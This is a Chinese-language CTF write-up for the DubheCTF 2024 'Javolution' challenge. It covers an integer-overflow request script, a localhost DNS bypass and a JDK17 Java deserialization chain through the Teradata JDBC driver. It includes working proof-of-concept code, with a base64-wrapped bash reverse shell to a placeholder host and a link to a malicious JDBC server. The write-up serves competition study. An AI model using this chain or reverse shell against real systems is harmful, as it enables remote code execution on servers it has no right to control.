Javolution
DubheCTF 2024 –Javolution
前言
心理原因,自己太菜了,导致自己不想或者说不敢去打XCTF,这次V&N的各位佬火力全开,web 5/6,都是血
但跟我一点关系没有,等到这个java上线后才开始看这道题
web中有两个xss,而且还混有脏东西(呜呜,会不了一点
其他也好难,不会,不想看
但这个java其实我也没多少贡献,唉。。。
unknown师傅做java的时间线
检查jdk17中哪些gadget还能用的。
检查过程中,jdk17中,不能像之前一样修改私有属性了,会报错。我的解决方法:设置agent,把该处判断hook掉,成功修改私有属性。
然后是看gadget有哪些,最终还剩这些:
EventListenerList:readObject -> toString
POJONode:toString -> getter。
此时是3.17 凌晨1点44分,先睡觉。
第二天早上9点。
尝试把TemplatesImpl放进POJONode,toString时报错,有关module的问题。
此时我毫无缘由地想到套一层JDKDynamicProxy,成功执行getOutputProperties。
接下来看如何加载字节码并new对象。
debug发现,字节码可以进入define,但是define时会检查字节码的module,由于该字节码的类是继承了AbstractTranslet的,而AbstractTranslet所在的module没有open,所以define这里过不去。
猜测module信息会被编译进字节码,此时我一个很大胆的想法:手动把module信息加进恶意字节码,让这个module变成能够访问AbstractTranslet的module。差了点资料,基本没有,放弃。
此时的方向应该回到题目给的TeraDataSource#getConnection。
能够实现令题目靶机jdbc连接vps了,此时是3.17 中午12点多。
此时的想法:Java中rce的方法不多,TemplatesImpl加载字节码被封死了,还剩URLClassLoader远程类加载、JNDI,直接调Runtime执行命令的类,第三方库基本没有吧,这么危险,所以没有往这方面想。
考虑JNDI加载beanfactory,试了下,tomcat版本太高,已经修复了BeanFactory。JNDI无。
这里完全没有头绪了。
一位队友发现了Tera里的Runtime,豁然开朗。此时是1点53分。不到30分钟路线已经找到,剩下的就是满足路线的条件。
开始debug。
发现会发请求,得接收,不然会抛异常。好,一位队友起了个数据库环境,请求成功。
发现会根据数据库响应的不同数据进入不同分支,好,抓包,手搓服务端。手搓完成,实现了1-2次交互,并能简单控制走向。
后面,代码越来越复杂,不知如何构造响应数据。
越来越红温。
此时队友找到个现成的恶意服务端的代码,我草。此时是7点20分。
8点16分,拿到flag。
历时一天,我只能说太nb了
鄙人唯一的贡献就是上面说到的发现Tera里的Runtime,这对当时没有头绪的unknown师傅也算指明了一条路
开始
故事的开始是那么的美好,有趣的打怪升级
直接拿V&N队里师傅的python脚本讲解一下
import time
import requests
url = "http://1.95.54.152:40957/pal" # 初始化一级的人物
# battle depresso up 10 level
url1 = url + "/battle/depresso" #升到10级
print(url1)
print(requests.get(url1).text)
time.sleep(0.5)
# capture Mammorest
url3 = url + "/capture?name=mammorest" #修改数值也打不过,但是可以捕捉高自己10级的boss
print(requests.get(url3).text)
time.sleep(0.5)
url4 = url + "/capture?name=Grizzbolt" #继续捕捉
print(requests.get(url4).text)
time.sleep(0.5)
#目前为止是30级,但下一个boss是50级,打也打不过,抓也抓不了
# change defense and hp
url2 = url + "/cheat?hp=6000&defense=-2147483645" #修改自己防御为负数
print(requests.get(url2).text)
time.sleep(0.5)
battle_jetragon = url + "/battle/jetragon" #这里就利用int的强制类型转化导致的负数溢出为了整数
print(requests.get(battle_jetragon).text)
#这里就到了50级,就可以了
battle_flag = url + "/battle/flag"
print(requests.get(battle_flag).text)
show = url + "/show"
print(requests.get(show).text)
整数溢出的漏洞
做到这一步我和V&N里的另一个师傅进度差不多,他把步骤写到协助文档里了,等于说我啥贡献都没有,唉毕竟人人都会(呜呜
接着
我们升到50级就是为了这里
host中要有dubhe,而且又要判断ip为127.0.0.1
那就设置一个子域名有dubhe的域名,然后给他个A记录设置为127.0.0.1 (unknown师傅太强了
重头戏
然后就能够进行反序列化了
但关键是java版本是17啊。。。。。。。
然后就是找toString链子,以及调用什么getter
这里我直接摆烂,jdk17的什么module会不了一点
这里就是unknown搞出来的
设置agent,把jdk17判断判断反射处的逻辑hook掉,成功修改私有属性。
然后是看gadget有哪些,最终还剩这些:
EventListenerList:readObject -> toString (看到有这个我人快傻掉了,明明说好jdk17不行的。。。。
POJONode:toString -> getter。
然后unknown师傅继续尝试TemplatesImpl,但实际上是用不了的
高版本JDK中TemplatesImpl已经被移除,或者说无法使用
然后目标就转到PalDataSource的getConnection方法上
我的唯一贡献
当时到这里就没有进度了,那反正我就半摆烂地debug源码
一步步跟进去,结果真让我发现个Runtime,哈哈哈哈哈哈哈
unknown把我发他的截图放到协作文档中,也算有了个参与感吧
路线:
TeraDataSourceBase.createNewConnection –> ConnectionFactory.createConnection new RawConnection —> RawConnection构造函数引用父类构造GenericTeradataConnection —> GenericTeradataConnection构造函数—>RCE
然后就要看如何走到这一步了
逻辑很简单,但本地运行会卡住
卡在这一步
根据分析应该是要连接上数据库
尾声
继续摆,不会搭建Teradata数据库
unknown他们自己搭数据库环境,甚至自己抓包,写恶意服务端,越到后面越不知道服务端怎么写。最后发现有现成的
https://github.com/luelueking/Deserial_Sink_With_JDBC
这一波典中典,又有写好的恶意服务端
本地的PalDataSource,好像说包名也要一样(不清楚
public class PalDataSource extends TeraDataSource {
public PalDataSource(){
String cmd = "bash -i >&/dev/tcp/your_ip/16666 0>&1";
String command = "bash -c {echo,"+Base64.getEncoder().encodeToString(cmd.getBytes())+"}|{base64,-d}|{bash,-i}";
System.out.println(command);
setBROWSER(command);
setLOGMECH("BROWSER");
setDSName("your_ip");
setDbsPort("10250");
}
@Override // com.teradata.jdbc.TeraDataSource, javax.sql.DataSource
public Connection getConnection(String username, String password) throws SQLException {
return super.getConnection(username, password);
}
@Override // com.teradata.jdbc.TeraDataSourceBase, javax.sql.CommonDataSource
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
unknown给出的poc (前面说到他自己用了个agent,所以要加载才能使用
并且动态代理那里改为DataSource.class
也很细节
public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception, IllegalAccessException {
Field field = getField(obj.getClass(), fieldname);
if (field == null) {
throw new Exception("field " + fieldname + "not found!");
} else {
field.setAccessible(true);
field.set(obj, value);
}
}
public static Field getField(Class<?> clazz, String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException var4) {
if (clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
}
return field;
}
public static Object unserialize(byte[] bytes) throws Exception {
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes));
return in.readObject();
}
public static byte[] serialize(Object obj) throws Exception {
ByteArrayOutputStream bytes = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bytes);
out.writeObject(obj);
return bytes.toByteArray();
}
public static Object getPOJONodeStableProxy(Object templatesImpl) throws Exception {
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templatesImpl);
InvocationHandler handler = (InvocationHandler)cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{DataSource.class}, handler);
return proxyObj;
}
public static void main( String[] args )throws Exception {
PalDataSource palDataSource = new PalDataSource();
Object pojoNodeStableProxy = getPOJONodeStableProxy(palDataSource);
POJONode jsonNodes = new POJONode(pojoNodeStableProxy);
EventListenerList list = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) Util.getFieldValue(manager, "edits");
vector.add(jsonNodes);
setFieldValue(list, "listenerList", new Object[]{InternalError.class, manager});
System.out.println(Util.URLEncode(Base64.getEncoder().encodeToString(serialize(list))));
}
其他战队WP
域名那里可以不用自己去弄,sudo.cc
本就是执行localhost
的,所以dubhe.sudo.cc
即可
然后就是关键的jdk17如何造链子,做法贼简单
在vm-option加上
--add-opens java.base/java.util=ALL-UNNAMED --add-exports java.xml/com.sun.org.apache.xpath.internal.objects=ALL-UNNAMED
即可
woc,我看这个东西的时候是讲的jdk9,我以为jdk17就不行了,服了
然后可以使用XString的toString链子
但是好像不能实例化(TEL✌用的反射,然后配合上面这个vm-option)
AS-23-Yuanzhen-A-new-attack-interface-in-Java.pdf (blackhat.com)
攻击手法这篇论文中都讲到了,呜呜根本搜不到论文